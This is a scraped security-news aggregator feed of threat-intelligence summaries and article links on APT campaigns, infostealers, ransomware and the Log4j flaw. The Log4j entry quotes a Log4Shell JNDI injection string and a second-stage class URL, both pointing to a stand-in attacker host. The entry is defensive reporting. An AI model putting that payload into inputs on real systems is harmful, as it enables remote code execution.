the Royal Road RTF weaponizer described by Anomali in 2019. Infection has two stages: the Tendyron implant followed by a very complex FlowCloud backdoor. JollyFrog uses generic malware such as PlugX and QuasarRAT. LookingFrog’s infection stages feature the X4 backdoor followed by the LookBack backdoor. Besides using different backdoors and exiting from IP addresses located in three different districts, the three teams use similar tools and similar tactics, techniques, and procedures (TTPs). Analyst Comment: Organizations should keep their web-facing applications such as Microsoft Exchange or SharePoint secured and updated. Educate your employees on handling suspected spearphishing attempts. Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from APTs, including a focus on both network and host-based security. Prevention and detection capabilities should also be in place. MITRE ATT&CK: [MITRE ATT&CK] Exploit Public-Facing Application - T1190 | [MITRE ATT&CK] Phishing - T1566 | [MITRE ATT&CK] Native API - T1106 | [MITRE ATT&CK] Shared Modules - T1129 | [MITRE ATT&CK] Exploitation for Client Execution - T1203 | [MITRE ATT&CK] Inter-Process Communication - T1559 | [MITRE ATT&CK] Windows Management Instrumentation - T1047 | [MITRE ATT&CK] Scheduled Task - T1053 | [MITRE ATT&CK] Server Software Component - T1505 | [MITRE ATT&CK] Create or Modify System Process - T1543 | [MITRE ATT&CK] Obfuscated Files or Information - T1027 | [MITRE ATT&CK] Masquerading - T1036 | [MITRE ATT&CK] Masquerading - T1036 | [MITRE ATT&CK] Rootkit - T1014 | [MITRE ATT&CK] Process Injection - T1055 | ]]> 2022-05-03T16:31:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-time-to-ransom-under-four-hours-mustang-panda-spies-on-russia-ricochet-chollima-sends-goldbackdoor-to-journalists-and-more www.secnews.physaphae.fr/article.php?IdArticle=4538825 False Ransomware,Malware,Tool,Vulnerability,Threat,Guideline,Cloud APT 37,APT 10,APT 10 None Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence SocGholish and Zloader – From Fake Updates and Installers to Owning Your Systems (published: April 25, 2022) Cybereason researchers have compared trending attacks involving SocGholish and Zloader malware. Both infection chains begin with social engineering and malicious downloads masquerading as legitimate software, and both lead to data theft and possible ransomware installation. SocGholish attacks rely on drive-by downloads followed by user execution of purported browser installer or browser update. The SocGholish JavaScript payload is obfuscated using random variable names and string manipulation. The attacker domain names are written in reverse order with the individual string characters being put at the odd index positions. Zloader infection starts by masquerading as a popular application such as TeamViewer. Zloader acts as information stealer, backdoor, and downloader. Active since 2016, Zloader actively evolves and has acquired detection evasion capabilities, such as excluding its processes from Windows Defender and using living-off-the-land (LotL) executables. Analyst Comment: All applications should be carefully researched prior to installing on a personal or work machine. Applications that request additional permissions upon installation should be carefully vetted prior to allowing permissions. Additionally, all applications, especially free versions, should only be downloaded from trusted vendors. MITRE ATT&CK: [MITRE ATT&CK] Drive-by Compromise - T1189 | [MITRE ATT&CK] Phishing - T1566 | [MITRE ATT&CK] User Execution - T1204 | [MITRE ATT&CK] Command and Scripting Interpreter - T1059 | [MITRE ATT&CK] Windows Management Instrumentation - T1047 | [MITRE ATT&CK] Masquerading - T1036 | [MITRE ATT&CK] Process Injection - T1055 | [MITRE ATT&CK] Signed Binary Proxy Execution - T1218 | [MITRE ATT&CK] Credentials from Password Stores - T1555 | [MITRE ATT&CK] Steal or Forge Kerberos Tickets - T1558 | [MITRE ATT&CK] Steal Web Session Cookie - T1539 | [MITRE ATT&CK] Unsecured Credentials - T1552 | [MITRE ATT&CK] Remote System Discovery - T1018 | [MITRE ATT&CK] System Owner/User Discovery - T1033 | ]]> 2022-04-26T16:24:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-gamaredon-delivers-four-pterodos-at-once-known-plaintext-attack-on-yanlouwang-encryption-north-korea-targets-blockchain-industry-and-more www.secnews.physaphae.fr/article.php?IdArticle=4508976 False Ransomware,Malware,Tool,Vulnerability,Threat,Guideline,Medical Uber,APT 38,APT 28 None Kaspersky Threatpost - Kaspersky est un éditeur antivirus russe 2022-04-26T11:38:17+00:00 https://threatpost.com/hackers-target-journalists-goldbackdoor/179389/ www.secnews.physaphae.fr/article.php?IdArticle=4507846 False Malware,Cloud APT 37 None IT Security Guru - Blog Sécurité 2022-04-26T10:13:51+00:00 https://www.itsecurityguru.org/2022/04/26/north-korea-targets-journalists-with-novel-malware/?utm_source=rss&utm_medium=rss&utm_campaign=north-korea-targets-journalists-with-novel-malware www.secnews.physaphae.fr/article.php?IdArticle=4507806 False Malware,Cloud APT 37 None The Hacker News - The Hacker News est un blog de news de hack (surprenant non?) 2022-04-26T02:53:07+00:00 https://thehackernews.com/2022/04/north-korean-hackers-target-journalists.html www.secnews.physaphae.fr/article.php?IdArticle=4507625 False Malware,Threat,Cloud APT 37 None Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence Lazarus Targets Chemical Sector (published: April 14, 2022) In January 2022, Symantec researchers discovered a new wave of Operation Dream Job. This operation, attributed to the North Korea-sponsored group Lazarus, utilizes fake job offers via professional social media and email communications. With the new wave of attacks, Operation Dream Job switched from targeting the defense, government, and engineering sectors to targeting South Korean organizations operating within the chemical sector. A targeted user executes an HTM file sent via a link. The HTM file is copied to a DLL file to be injected into the legitimate system management software. It downloads and executes the final backdoor: a trojanized version of the Tukaani project LZMA Utils library (XZ Utils) with a malicious export added (AppMgmt). After the initial access, the attackers gain persistence via scheduled tasks, move laterally, and collect credentials and sensitive information. Analyst Comment: Organizations should train their users to recognize social engineering attacks including those posing as “dream job” proposals. Organizations facing cyberespionage threats should implement a defense-in-depth approach: layering of security mechanisms, redundancy, fail-safe defense processes. MITRE ATT&CK: [MITRE ATT&CK] Scheduled Task - T1053 | [MITRE ATT&CK] User Execution - T1204 | [MITRE ATT&CK] Windows Management Instrumentation - T1047 | [MITRE ATT&CK] Process Injection - T1055 | [MITRE ATT&CK] Valid Accounts - T1078 | [MITRE ATT&CK] Signed Binary Proxy Execution - T1218 | [MITRE ATT&CK] Credentials from Password Stores - T1555 Tags: Lazarus, Operation Dream Job, North Korea, source-country:KP, South Korea, target-country:KR, APT, HTM, CPL, Chemical sector, Espionage, Supply chain, IT sector Old Gremlins, New Methods (published: April 14, 2022) Group-IB researchers have released their analysis of threat actor OldGremlin’s new March 2022 campaign. OldGremlin favored phishing as an initial infection vector, crafting intricate phishing emails that target Russian industries. The threat actors utilized the current war between Russia and Ukraine to add a sense of legitimacy to their emails, with claims that users needed to click a link to register for a new credit card, as current ones would be rendered useless by incoming sanctions. The link leads users to a malicious Microsoft Office document stored within Dropbox. When macros are enabled, the threat actor’s new, custom backdoor, TinyFluff, a new version of their old TinyNode]]> 2022-04-19T15:00:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-raidforums-seized-sandworm-attacks-ukrainian-power-stations-north-korea-steals-chemical-secrets-and-more www.secnews.physaphae.fr/article.php?IdArticle=4477972 False Ransomware,Spam,Malware,Vulnerability,Threat,Guideline,Medical APT 38,APT 28 None Kaspersky - Kaspersky Research blog 2022-03-31T12:00:23+00:00 https://securelist.com/lazarus-trojanized-defi-app/106195/ www.secnews.physaphae.fr/article.php?IdArticle=4373277 False Malware APT 38 None ZD Net - Magazine Info 2022-03-29T12:00:00+00:00 https://www.zdnet.com/article/transparent-tribe-apt-returns-to-strike-indias-government-and-military/#ftag=RSSbaffb68 www.secnews.physaphae.fr/article.php?IdArticle=4359426 False Malware APT 36 None CISCO Talos - Cisco Research blog 2022-03-29T05:02:08+00:00 http://blog.talosintelligence.com/2022/03/transparent-tribe-new-campaign.html www.secnews.physaphae.fr/article.php?IdArticle=4359198 False Malware APT 36 None Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence What’s With The Shared VBA Code Between Transparent Tribe And Other Threat Actors? (published: February 9, 2022) A recent discovery has been made that links malicious VBA macro code between multiple groups, namely: Transparent Tribe, Donot Team, SideCopy, Operation Hangover, and SideWinder. These groups operate (or operated) out of South Asia and use a variety of techniques with phishing emails and maldocs to target government and military entities within India and Pakistan. The code is similar enough that it suggests cooperation between APT groups, despite having completely different goals/targets. Analyst Comment: This research shows that APT groups are sharing TTPs to assist each other, regardless of motive or target. Files that request content be enabled to properly view the document are often signs of a phishing attack. If such a file is sent to you via a known and trusted sender, that individual should be contacted to verify the authenticity of the attachment prior to opening. Thus, any such file attachment sent by unknown senders should be viewed with the utmost scrutiny, and the attachments should be avoided and properly reported to appropriate personnel. MITRE ATT&CK: [MITRE ATT&CK] Command and Scripting Interpreter - T1059 | [MITRE ATT&CK] Phishing - T1566 Tags: Transparent Tribe, Donot, SideWinder, Asia, Military, Government Fake Windows 11 Upgrade Installers Infect You With RedLine Malware (published: February 9, 2022) Due to the recent announcement of Windows 11 upgrade availability, an unknown threat actor has registered a domain to trick users into downloading an installer that contains RedLine malware. The site, "windows-upgraded[.]com", is a direct copy of a legitimate Microsoft upgrade portal. Clicking the 'Upgrade Now' button downloads a 734MB ZIP file which contains an excess of dead code; more than likely this is to increase the filesize for bypassing any antivirus scan. RedLine is a well-known infostealer, capable of taking screenshots, using C2 communications, keylogging and more. Analyst Comment: Any official Windows update or installation files will be downloaded through the operating system directly. If offline updates are necessary, only go through Microsoft sites and subdomains. Never update Windows from a third-party site due to this type of attack. MITRE ATT&CK: [MITRE ATT&CK] Video Capture - T1125 | [MITRE ATT&CK] Input Capture - T1056 | [MITRE ATT&CK] Exfiltration Over C2 Channel - T1041 Tags: RedLine, Windows 11, Infostealer ]]> 2022-02-15T20:01:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-mobile-malware-is-on-the-rise-apt-groups-are-working-together-ransomware-for-the-individual-and-more www.secnews.physaphae.fr/article.php?IdArticle=4134740 False Ransomware,Malware,Tool,Vulnerability,Threat,Guideline Uber,APT 43,APT 36,APT-C-17 None CISCO Talos - Cisco Research blog 2022-02-09T05:06:14+00:00 http://blog.talosintelligence.com/2022/02/whats-with-shared-vba-code.html www.secnews.physaphae.fr/article.php?IdArticle=4099539 False Malware,Threat APT 36 None The Hacker News - The Hacker News est un blog de news de hack (surprenant non?) 2022-02-09T03:25:23+00:00 https://thehackernews.com/2022/02/iranian-hackers-using-new-marlin.html www.secnews.physaphae.fr/article.php?IdArticle=4098925 False Malware,Threat APT 34 None Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence New CapraRAT Android Malware Targets Indian Government and Military Personnel (published: February 7, 2022) Trend Micro researchers have discovered a new remote access trojan (RAT) dubbed, CapraRAT, that targets Android systems. CapraRAT is attributed to the advanced persistent threat (APT) group, APT36 (Earth Karkaddan, Mythic Leopard, Transparent Tribe), which is believed to be Pakistan-based group that has been active since at least 2016. The Android-targeting CapraRAT shares similarities (capabilities, commands, and function names) to the Windows targeting Crimson RAT, and researchers note that it may be a modified version of the open source AndroRAT. The delivery method of CapraRAT is unknown, however, APT36 is known to use spearphishing emails with attachments or links. Once CapraRAT is installed and executed it will attempt to reach out to a command and control server and subsequently begin stealing various data from an infected device. Analyst Comment: It is important to only use the Google Play Store to obtain your software (for Android users), and avoid installing software from unverified sources because it is easier for malicious applications to get into third-party stores. Applications that ask for additional permissions outside of their normal functionality should be treated with suspicion, and normal functionality for the applications should be reviewed carefully prior to installation. Antivirus applications, if available, should be installed devices. MITRE ATT&CK: [MITRE ATT&CK] Phishing - T1566 | [MITRE ATT&CK] User Execution - T1204 | [MITRE ATT&CK] Software Deployment Tools - T1072 Tags: APT36, Earth Karkaddan, Mythic Leopard, Transparent Tribe, Android, CapraRAT Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine (published: February 3, 2022) The Russia-sponsored, cyberespionage group Primitive Bear (Gamaredon) has continued updating its toolset, according to Unit 42 researchers. The group continues to use their primary tactic in spearphishing emails with attachments that leverage remote templates and template injection with a focus on Ukraine. These email attachments are usually Microsoft Word documents that use the remote template to fetch VBScript, execute it to establish persistence, and wait for the group’s instruction via a command and control server. Unit 42 researchers have analyzed the group’s activity and infrastructure dating back to 2018 up to the current border tensions between Russia and Ukraine. The infrastructure behind the campaigns is robust, with clusters of domains that are rotated and parked on different IPs, often on a daily basis. Analyst Comment: Spearphishing emails represent a significant security risk because the sending email will often appear legitimate to the target; sometimes a target company email is compromis]]> 2022-02-08T16:00:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-conti-ransomware-attack-iran-sponsored-apts-new-android-rat-russia-sponsored-gamaredon-and-more www.secnews.physaphae.fr/article.php?IdArticle=4094313 False Ransomware,Malware,Threat,Conference APT 35,APT 35,APT 29,APT 29,APT 36 2.0000000000000000 knowbe4 - cybersecurity services [Heads Up] Beware of New QuickBooks Payment Scams   Email not displaying? | CyberheistNews Vol 12 #06  |   Feb. 8th., 2022 [Heads Up] Beware of New QuickBooks Payment Scams Many small and mid-sized companies use Intuit's popular QuickBooks program. They usually start out using its easy-to-use base accounting program and then the QuickBooks program aggressively pushes other complimentary features. One of those add-on features is the ability to send customers' invoices via email. The payee can click on a “Review and pay” button in the email to pay the invoice. It used to be a free, but less mature, feature years ago, but these days, it costs extra. Still, if you are using QuickBooks for your accounting, the ability to generate, send, receive and electronically track invoices all in one place is a pretty easy sell. Unfortunately, phishing criminals are using QuickBooks' popularity to send business email compromise (BEC) scams. The emails appear as if they are coming from a legitimate vendor using QuickBooks, but if the potential victim takes the bait, the invoice they pay will be to the scammer. Worse, the payment request can require that the payee use ACH (automated clearing house) method, which requires the payee to input their bank account details. So, if the victim falls for the scam, the criminal now has their bank account information. Not good. Note: Some other QuickBooks scam warnings will tell you that QuickBooks will never ask for your ACH or banking details. This is not completely true. QuickBooks, the company and its support staff, never will, but QuickBooks email payment requests often do. Warn your users in Accounting. CONTINUED at the KnowBe4 blog with both legit and malicious example screenshots: https://blog.knowbe4.com/beware-of-quickbooks-payment-scams ]]> 2022-02-08T14:23:51+00:00 https://blog.knowbe4.com/cyberheistnews-vol-12-06-heads-up-beware-of-new-quickbooks-payment-scams www.secnews.physaphae.fr/article.php?IdArticle=4094184 False Malware,Hack,Threat,Conference APT 35 None Bleeping Computer - Magazine Américain 2022-02-01T14:00:00+00:00 https://www.bleepingcomputer.com/news/security/cyberspies-linked-to-memento-ransomware-use-new-powershell-malware/ www.secnews.physaphae.fr/article.php?IdArticle=4066936 False Ransomware,Malware,Conference APT 35,APT 35 None The Hacker News - The Hacker News est un blog de news de hack (surprenant non?) 2022-02-01T02:28:30+00:00 https://thehackernews.com/2022/02/iranian-hackers-using-new-powershell.html www.secnews.physaphae.fr/article.php?IdArticle=4064183 False Malware,Threat,Conference APT 35,APT 35 None Kaspersky Threatpost - Kaspersky est un éditeur antivirus russe 2022-01-28T21:47:21+00:00 https://threatpost.com/lazarus-apt-windows-update-malware-github/178096/ www.secnews.physaphae.fr/article.php?IdArticle=4048445 False Malware APT 38 None The Hacker News - The Hacker News est un blog de news de hack (surprenant non?) 2022-01-28T01:24:28+00:00 https://thehackernews.com/2022/01/north-korean-hackers-using-windows.html www.secnews.physaphae.fr/article.php?IdArticle=4045173 False Malware,Medical APT 38,APT 28 None Security Affairs - Blog Secu 2022-01-27T20:30:53+00:00 https://securityaffairs.co/wordpress/127296/apt/lazarus-apt-windows-update-client.html?utm_source=rss&utm_medium=rss&utm_campaign=lazarus-apt-windows-update-client www.secnews.physaphae.fr/article.php?IdArticle=4043080 False Malware APT 38,APT 28 None Bleeping Computer - Magazine Américain 2022-01-27T13:31:40+00:00 https://www.bleepingcomputer.com/news/security/lazarus-hackers-use-windows-update-to-deploy-malware/ www.secnews.physaphae.fr/article.php?IdArticle=4042581 False Malware APT 38 None TrendLabs Security - Editeur Antivirus ]]> 2022-01-24T00:00:00+00:00 https://www.trendmicro.com/en_us/research/22/a/investigating-apt36-or-earth-karkaddans-attack-chain-and-malware.html www.secnews.physaphae.fr/article.php?IdArticle=4025239 False Malware,Threat APT 36 None Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence Earth Lusca Employs Sophisticated Infrastructure, Varied Tools and Techniques (published: January 17, 2022) The Earth Lusca threat group is part of the Winnti cluster. It is one of different Chinese groups that share aspects of their tactics, techniques, and procedures (TTPs) including the use of Winnti malware. Earth Lusca were active throughout 2021 committing both cyberespionage operations against government-connected organizations and financially-motivated intrusions targeting gambling and cryptocurrency-related sectors. For intrusion, the group tries different ways in including: spearphishing, watering hole attacks, and exploiting publicly facing servers. Cobalt Strike is one of the group’s preferred post-exploitation tools. It is followed by the use of the BioPass RAT, the Doraemon backdoor, the FunnySwitch backdoor, ShadowPad, and Winnti. The group employs two separate infrastructure clusters, first one is rented Vultr VPS servers used for command-and-control (C2), second one is compromised web servers used to scan for vulnerabilities, tunnel traffic, and Cobalt Strike C2. Analyst Comment: Earth Lusca often relies on tried-and-true techniques that can be stopped by security best practices, such as avoiding clicking on suspicious email/website links and or reacting on random banners urging to update important public-facing applications. Don’t be tricked to download Adobe Flash update, it was discontinued at the end of December 2020. Administrators should keep their important public-facing applications (such as Microsoft Exchange and Oracle GlassFish Server) updated. MITRE ATT&CK: [MITRE ATT&CK] Drive-by Compromise - T1189 | [MITRE ATT&CK] Exploit Public-Facing Application - T1190 | [MITRE ATT&CK] Phishing - T1566 | [MITRE ATT&CK] Command and Scripting Interpreter - T1059 | [MITRE ATT&CK] Scheduled Task - T1053 | [MITRE ATT&CK] System Services - T1569 | [MITRE ATT&CK] Windows Management Instrumentation - T1047 | [MITRE ATT&CK] Account Manipulation - T1098 | [MITRE ATT&CK] BITS Jobs - T1197 | [MITRE ATT&CK] Create Account - T1136 | [MITRE ATT&CK] Create or Modify System Process - T1543 | [MITRE ATT&CK] External Remote Services - T1133 | [MITRE ATT&CK] Hijack Execution Flow]]> 2022-01-19T22:45:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-russia-sponsored-cyber-threats-china-based-earth-lusca-active-in-cyberespionage-and-cybertheft-bluenoroff-hunts-cryptocurrency-related-businesses-and-more www.secnews.physaphae.fr/article.php?IdArticle=3999162 False Ransomware,Malware,Tool,Vulnerability,Threat,Patching,Guideline APT 41,APT 38,APT 29,APT 28,APT 28 None Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence A Deep Dive into DoubleFeature, Equation Group’s Post-Exploitation Dashboard (published: December 27, 2021) Check Point researchers have published their findings on the Equation Group’s post-exploitation framework DanderSpritz — a major part of the “Lost in Translation” leak — with a focus on its DoubleFeature logging tool. DoubleFeature (similar to other Equation Group tools) employs several techniques to make forensic analysis difficult: function names are not passed explicitly, but instead a checksum of it; strings used in DoubleFeature are decrypted on-demand per function and they are re-encrypted once function execution completes. DoubleFeature also supports additional obfuscation methods, such as a simple substitution cipher and a stream cipher. In its information gathering DoubleFeature can monitor multiple additional plugins including: KillSuit (also known as KiSu and GrayFish) plugin that is running other plugins, providing a framework for persistence and evasion, MistyVeal (MV) implant verifying that the targeted system is indeed an authentic victim, StraitBizarre (SBZ) cross-platform implant, and UnitedRake remote access tool (UR, EquationDrug). Analyst Comment: It is important to study Equation Group’s frameworks because some of the leaked exploits were seen exploited by other threat actors. Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from APTs, including a focus on both network and host-based security. Prevention and detection capabilities should also be in place. MITRE ATT&CK: [MITRE ATT&CK] Modify Registry - T1112 | [MITRE ATT&CK] Rootkit - T1014 | [MITRE ATT&CK] Virtualization/Sandbox Evasion - T1497 | [MITRE ATT&CK] Deobfuscate/Decode Files or Information - T1140 Tags: Equation Group, DanderSpritz, DoubleFeature, Shadow Brokers, EquationDrug, UnitedRake, DiveBar, KillSuit, GrayFish, StraitBizarre, MistyVeal, PeddleCheap, DiceDealer, FlewAvenue, DuneMessiah, CritterFrenzy, Elby loader, BroughtHotShot, USA, Russia, APT Dridex Affiliate Dresses Up as Scrooge (published: December 23, 2021) Days before Christmas, an unidentified Dridex affiliate is using malspam emails with extremely emotion-provoking lures. One malicious email purports that 80% of the company’s employees have tested positive for Omicron, a variant of COVID-19, another email claims that the recipient was just terminated from his or her job. The attached malicious Microsoft Excel documents have two anti-sandbox features: they are password protected, and the macro doesn’t run until a user interacts with a pop-up dialog. If the user makes the macro run, it will drop an .rtf f]]> 2021-12-29T16:00:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-equation-groups-post-exploitation-framework-decentralized-finance-defi-protocol-exploited-third-log4j-vulnerability-and-more www.secnews.physaphae.fr/article.php?IdArticle=3904146 False Ransomware,Malware,Tool,Vulnerability,Threat,Conference APT 35 None UnderNews - Site de news "pirate" francais Une campagne massive de spyware vise des milliers d'ordinateurs ICS dans le monde entier first appeared on UnderNews.]]> 2021-12-23T13:11:14+00:00 https://www.undernews.fr/malwares-virus-antivirus/une-campagne-massive-de-spyware-vise-des-milliers-dordinateurs-ics-dans-le-monde-entier.html www.secnews.physaphae.fr/article.php?IdArticle=3859596 False Malware APT 38 None Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence NSW Government Casual Recruiter Suffers Ransomware Hit (published: December 17, 2021) Finite Recruitment suffered a ransomware attack during the month of October 2021, resulting in the exfiltration of some data. Their incident responders (IR) identified the ransomware as Conti, a fast encrypting ransomware commonly attributed to the cybercriminal group Wizard Spider. The exfiltrated data was published on the dark web, however the firm remains fully operational, and affected customers are being informed. Analyst Comment: Always check to see if there is a decryptor available for the ransomware before considering payment. Enforce a strong backup policy to ensure that data is recoverable in the event of encryption or loss. MITRE ATT&CK: [MITRE ATT&CK] Scheduled Transfer - T1029 Tags: Conti, Wizard Spider, Ransomware, Banking and Finance Phorpiex botnet is back with a new Twizt: Hijacking Hundreds of crypto transactions (published: December 16, 2021) Check Point Research has uncovered a new variant of the Phorpiex botnet named Twizt. Historically, Phorpiex utilized sextortion, ransomware delivery, and cryptocurrency clipping. Twizt however, appears to be primarily focused on stealing cryptocurrency and have stolen half a million dollars since November 2020 in the form of Bitcoin, Ether and ERC20 tokens.The botnet features departure from it’s traditional command and control (C2) infrastructure, opting for peer-to-peer (P2P) communications between infected hosts, eliminating the need for C2 communication as each host can fulfill that role. Analyst Comment: Bots within a P2P network need to communicate regularly with other bots to receive and share commands. If the infected bots are on a private network, private IP addresses will be used. Therefore, careful monitoring of network traffic will reveal suspicious activity, and a spike in network resource usage as opposed to the detection of C2 IP addresses. MITRE ATT&CK: [MITRE ATT&CK] Data Encoding - T1132 | [MITRE ATT&CK] File and Directory Discovery - T1083 | [MITRE ATT&CK] Clipboard Data - T1115 Tags: Phorpiex, Twizt, Russia, Banking and Finance, Cryptocurrency, Bitcoin ‘PseudoManuscrypt’ Mass Spyware Campaign Targets 35K Systems (published: December 16, 2021) Kaspersky researchers have documented a spyware that has targeted 195 countries as of December 2021. The spyware, named PseudoManuscrypt, was developed and deployed by Lazarus Group ]]> 2021-12-21T16:57:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-pseudomanuscrypt-mass-spyware-campaign-targets-35k-systems-apt31-intrusion-set-campaign-description-countermeasures-and-code-state-sponsored-hackers-abuse-slack-api-to-steal www.secnews.physaphae.fr/article.php?IdArticle=3841167 False Ransomware,Malware,Vulnerability,Threat,Guideline,Medical APT 41,APT 38,APT 28,APT 31 None The Hacker News - The Hacker News est un blog de news de hack (surprenant non?) 2021-12-17T03:05:10+00:00 https://thehackernews.com/2021/12/new-pseudomanuscrypt-malware-infected.html www.secnews.physaphae.fr/article.php?IdArticle=3812806 False Malware APT 38 None Kaspersky - Kaspersky Research blog 2021-12-16T10:00:19+00:00 https://securelist.com/pseudomanuscrypt-a-mass-scale-spyware-attack-campaign/105286/ www.secnews.physaphae.fr/article.php?IdArticle=3806117 False Malware APT 38,APT 28 None Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit (published: December 10, 2021) A critical vulnerability, registered as CVE-2021-44228, has been identified in Apache Log4j 2, which is an open source Java package used to enable logging in. The Apache Software Foundation (ASF) rates the vulnerability as a 10 on the common vulnerability scoring system (CVSS) scale. Cisco Talos has observed malicious activity related to CVE-2021-44228 beginning on December 2, 2021. This vulnerability affects millions of users and exploitation proof-of-concept code exists via LunaSec explains how to exploit it in five simple steps. These include: 1: Data from the User gets sent to the server (via any protocol). 2: The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server). 3: The Log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI). 4: This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process. 5: This injected payload triggers a second stage, and allows an attacker to execute arbitrary code. Analyst Comment: Log4j version 2.15.0 has been released to address this vulnerability, however, it only changes a default setting (log4j2.formatMsgNoLookups) from false to true. This means that if the setting is set back to false, Log4j will again be vulnerable to exploitation. The initial campaigns could have been detected by filtering on certain keywords such as "ldap", "jndi", but this detection method is easily bypassable. MITRE ATT&CK: [MITRE ATT&CK] Exploit Public-Facing Application - T1190 | [MITRE ATT&CK] Exploitation for Client Execution - T1203 | [MITRE ATT&CK] Command and Scripting Interpreter - T1059 | [MITRE ATT&CK] Remote Services - T1021 | [MITRE ATT&CK] OS Credential Dumping - T1003 | [MITRE ATT&CK] Resource Hijacking - T1496 | [MITRE ATT&CK] Network Denial of Service - T1498 Tags: Log4j, CVE-2021-44228, Log4j2, Log4Shell, Apache, Zero-day, Java, Jndi, Class file Over a Dozen Malicious NPM Packages Caught Hijacking Discord Servers (published: December 8, 2021) Researchers from the DevOps firm JFrog has found at least 17 malicious packages on the open source npm Registry for JavaScript. The names of the packages are: prerequests-xcode (version 1.0.4), discord-selfbot-v14 (version 12.0.3), discord-lofy (version 11.5.1), discordsystem (version 11.5.1), discord-vilao (version 1.0.0), fix-error (version 1]]> 2021-12-15T16:00:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-apache-log4j-zero-day-exploit-google-fighting-glupteba-botnet-vixen-panda-targets-latin-america-and-europe-and-more www.secnews.physaphae.fr/article.php?IdArticle=3800465 False Malware,Tool,Vulnerability,Threat,Cloud APT 37,APT 29,APT 15,APT 15,APT 25 None The Hacker News - The Hacker News est un blog de news de hack (surprenant non?) 2021-12-07T22:33:02+00:00 https://thehackernews.com/2021/12/warning-yet-another-bitcoin-mining.html www.secnews.physaphae.fr/article.php?IdArticle=3760574 False Malware,Cloud APT 37 None Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence New Malware Hides as Legit Nginx Process on E-Commerce Servers (published: December 2, 2021) Researchers at Sansec discovered NginRAT, a new malware variant that has been found on servers in the US, Germany, and France. Put in place to intercept credit card payments, this malware impersonates legitimate nginx processes which makes it very difficult to detect. NginRAT has shown up on systems that were previously infected with CronRAT, a trojan that schedules processes to run on invalid calendar days. This is used as a persistence technique to ensure that even if a malicious process is killed, the malware has a way to re-infect the system. Analyst Comment: Threat actors are always adapting to the security environment to remain effective. New techniques can still be spotted with behavioural analysis defenses and social engineering training. Ensure that your company's firewall blocks all entry points for unauthorized users, and maintain records of how normal traffic appears on your network. Therefore, it will be easier to spot unusual traffic and connections to and from your network to potentially identify malicious activity. MITRE ATT&CK: [MITRE ATT&CK] Obfuscated Files or Information - T1027 | [MITRE ATT&CK] Shared Modules - T1129 Tags: NginRAT, CronRAT, Nginx, North America, EU How Phishing Kits Are Enabling A New Legion Of Pro Phishers (published: December 2, 2021) Phishing kits, such as XBALTI are seeing increased use against financial institutions. Mixing email with SMS messages, attackers are targeting companies such as Charles Schwab, J.P. Morgan Chase, RBC Royal Bank and Wells Fargo. Victims are targeted and asked to verify account details. The attack is made to appear legitimate by redirecting to the real sites after information has been harvested. Analyst Comment: With financial transactions increasing around this time of year, it is likely financially themed malspam and phishing emails will be a commonly used tactic. Therefore, it is crucial that your employees are aware of their financial institution's policies regarding electronic communication. If a user is concerned due to the scare tactics often used in such emails, they should contact their financial institution via legitimate email or another form of communication. Requests to open a document in a sense of urgency and poor grammar are often indicative of malspam or phishing attacks. Said emails should be properly avoided and reported to the appropriate personnel. Tags: Phishing, XBATLI Injection is the New Black: Novel RTF Template Inject Technique Poised for Widespread Adoption Beyond APT Actors (pub]]> 2021-12-07T16:04:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-nginx-trojans-blackbyte-ransomware-android-malware-campaigns-and-more www.secnews.physaphae.fr/article.php?IdArticle=3757325 False Ransomware,Malware,Tool,Vulnerability,Threat,Cloud APT 37 4.0000000000000000 SecurityWeek - Security News 2021-11-30T12:24:19+00:00 https://www.securityweek.com/north-korean-hackers-use-new-chinotto-malware-target-windows-android-devices www.secnews.physaphae.fr/article.php?IdArticle=3727853 False Malware,Threat,Cloud APT 37 None Fortinet ThreatSignal - Harware Vendor 2021-11-30T11:24:48+00:00 https://www.fortiguard.com/threat-signal-report/4311 www.secnews.physaphae.fr/article.php?IdArticle=3791021 False Malware,Threat,Patching,Cloud APT 37 None Bleeping Computer - Magazine Américain 2021-11-29T08:43:29+00:00 https://www.bleepingcomputer.com/news/security/apt37-targets-journalists-with-chinotto-multi-platform-malware/ www.secnews.physaphae.fr/article.php?IdArticle=3722740 False Malware,Cloud 